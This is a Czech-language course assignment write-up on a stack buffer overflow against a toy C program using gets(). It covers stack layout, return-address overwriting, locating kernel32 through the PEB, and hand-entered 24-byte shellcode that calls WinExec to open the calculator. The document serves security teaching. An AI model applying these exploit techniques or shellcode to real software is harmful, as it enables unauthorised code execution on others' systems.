

1 Úkol

Tento kód používám pro svoji demonstraci přetečení bufferu.

```
#include <stdio.h>

int main(){
    char buffer[20];
    printf("What is your name?\n");
    gets(buffer);
    printf("Hi, %s!\n", buffer);
    return 0;
}
```

Údaje ze zásobníku:

na této adrese začíná buffer →	0019FF14	← tuto adresu obsahuje reg EAX jako Arg1 při načítání jména(jméno se načítá na tuhle adresu, protože zde začíná buffer) ← dále tuto samou adresu obsahuje reg ECX jako Arg2 při vypsání pozdravu
	0019FF18	
	0019FF1C	
	0019FF20	
	0019FF24	
	0019FF28	→ na této adrese je uložena záloha reg EBP
ESP(vrchol zásobníku) ukazuje na adresu →	0019FF2C	→ na této adrese je uložena návratová adresa

Buffer začíná na adrese 0019FF14 a končí adresou 0019FF24. Lze to odvodit v debuggeru při zadání řetězce např. abcdefghijklmnopqrstuvwxyz123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ, poté se záloha EBP na adrese 0019FF28 přepíše na uvwx a návratová hodnota na adrese 0019FF2C na yz12.

2 Úkol

Exploit provedu vložení škodlivého kódu na začátek bufferu, tedy na adresu 0019FF14. Od 0019FF14 do 0019FF24 máme k dispozici $5 \cdot 4 = 20$ bytů + 4 byty (na 0019FF28) při přepisu zálohy registru EBP. Náš vstup musí být nejméně 24 bytů dlouhý, abychom přetekli až do adresy 0019FF2C, kde potřebujeme přepsat návratovou hodnotu pro spuštění škodlivého kódu. Škodlivý kód bychom mohli vkládat přímo na další adresu za 0019FF2C (tedy 0019FF30), tím bychom získali více místa pro vložení škodlivého kódu, ale můžeme se setkat s problémem vložení terminálních nul při vkládání návratových adres, jelikož na little-endianu zadáváme adresu 0019FF14 jako 14 FF 19 00. Takto stačí vložení terminální nuly uskutečnit odklepnutím entrem. Pokud povolíme kompatibilitu se starou konzolí na Windows, můžeme ukončovací nuly vkládat pomocí CTRL+@. Vkládání provedu pomocí standardního vstupu v terminálu, ne vždy totiž můžeme přesměrovat na vstup nějaký binární soubor. Protože jsme na Windows, použijeme pro vložení hex hodnot kombinaci ALT + hex hodnota v desítkové soustavě. Tedy pro shrnutí, škodlivý kód budeme vkládat na začátek bufferu (0019FF14), musí se vejít do 24 bytů a pokud bude menší, musíme zbytek do 24 bytů něčím libovolným vyplnit. Poté bude následovat nová návratová adresa, pomocí které program donutíme zavolat kód na začátku bufferu. Návratovou adresu zadáme 0019FF14 zadáme ALT+20, ALT+255, ALT+25 a ukončovací nula se vloží při potvrzení. Některé znaky mohou vypadat jako mezera, nebo se mohou zdát jako 2 znaky, ale budou vloženy tak, jak zamýšlíme.

3 Úkol

Pro spuštění nějakého programu prostřednictvím WinApi můžeme využít např. funkci CreateProcess() z knihovny kernel32, ta je ale pro svůj počet parametrů nepřliš vhodná pro reprezentaci v assembleru a my jsme navíc omezení délkou pro škodlivý kód na 24 bytů, proto ji nevolíme. Dále by připadala možnost využít funkce ShellExecute() z knihovny shell32, ale ta není používána naším zranitelným programem Source.exe, není tedy namapována do paměti našeho programu, tedy ji nemůžeme použít, viz.

```
Microsoft (R) COFF/PE Dumper Version 14.28.29912.0
Copyright (C) Microsoft Corporation. All rights reserved.
```

```
Dump of file Source.exe
```

```
File Type: EXECUTABLE IMAGE
```

```
Section contains the following imports:
```

```
KERNEL32.dll
    413000 Import Address Table
    419264 Import Name Table
        0 time date stamp
        0 Index of first forwarder reference
```

Použijeme funkci WinExec(), která je velmi zastaralá a používá se pouze kvůli kompatibilitě, ale je součástí knihovny kernel32, tedy ji lze použít pro náš program. Musíme tedy zjistit, na jakou adresu systém Windows tuto funkci namapoval. Kernel32 je v paměti u Windows vždy načtený, načítá se při startu systému a pro volbu adresy se používá ASLR, aby ji útočník nemohl snadno uhádnout.

Tento program nám hledanou adresu nalezne a vypíše ji na standardní výstup. Pro jeho kompilaci je použito cl.

```
#include <iostream>

int main()
{
    int address = 0;
    __asm
    {
        xor eax, eax
        mov eax, fs:[0x30]
        mov eax, [eax + 0x0C]
        mov eax, [eax + 0x14]
        mov eax, [eax]
        mov eax, [eax]
        mov eax, [eax + 0x10]
        mov address, eax
    }
    std::cout << "kernel32 address is: " << std::hex << address << std::endl;
    return 0;
}
```

Nejprve se do registru EAX načte Process Environment Block (PEB) struktura, kterou má každý běžící proces a lze ho nalézt na fs:[0x30]. Dále se přesouváme na offset + 0x0C na začátek struktury PEB_LDR_DATA. Přes další offsety se dostaneme až na adresu knihovny kernel32 a tu poté vypisujeme na standardní výstup. Tento program bude fungovat pouze v rámci systémů Windows.

```
PS C:\Users\jirip\Source\Repos\Project1\Project1> .\getaddr.exe
kernel32 address is: 76160000
```

4 Úkol

Pro konkrétní kód zvolím spuštění kalkulačky jako na cvičení. Exploit tedy bude vypadat následovně. Spustit windows kalkulačku z jazyka C lze pomocí příkazu WinExec("calc", 0);. Kód lze ve debuggeru přepsat a zjistit tím požadovaný strojový kód, který budeme zadávat na vstup. Kód exploitu vypadá následovně:

0019FF14	83EC 30	SUB ESP,30	- nutno provést, abychom si při vkládání argumentů nepřepisovali vložený kód, tedy posuneme zásobník před náš kód
0019FF17	33DB	XOR EBX,EBX	- tímto příkazem si vyrobíme 0, která by se nám mohla špatně zadávat jako vstup(viz. předchozí úkoly)
0019FF19	53	PUSH EBX	- tímto příkazem dostaneme 0 na zásobník, zde slouží jako reprezentace druhého argumentu
0019FF1A	68 63616C63	PUSH 636C6163	- na zásobník vkládáme hex hodnoty ASCII jako první argument(PUSH calc), opět zapisujeme reprezentaci řetězce od zadu
0019FF1F	8BC4	MOV EAX,ESP	- ukazatel na předchozí řetězec si dočasně dáme do registru EAX
0019FF21	53	PUSH EBX	- vložení 0 (druhého argumentu) na vrchol zásobníku
0019FF22	50	PUSH EAX	- vložení řetězce calc na vrchol zásobníku
0019FF23	B8 00008276	MOV EAX,76820000	- vkládáme adresu funkce do registru EAX, abychom jej mohli zavolat
0019FF28	FFD0	CALL EAX	-zde již voláme funkci pro spuštění kalkulačky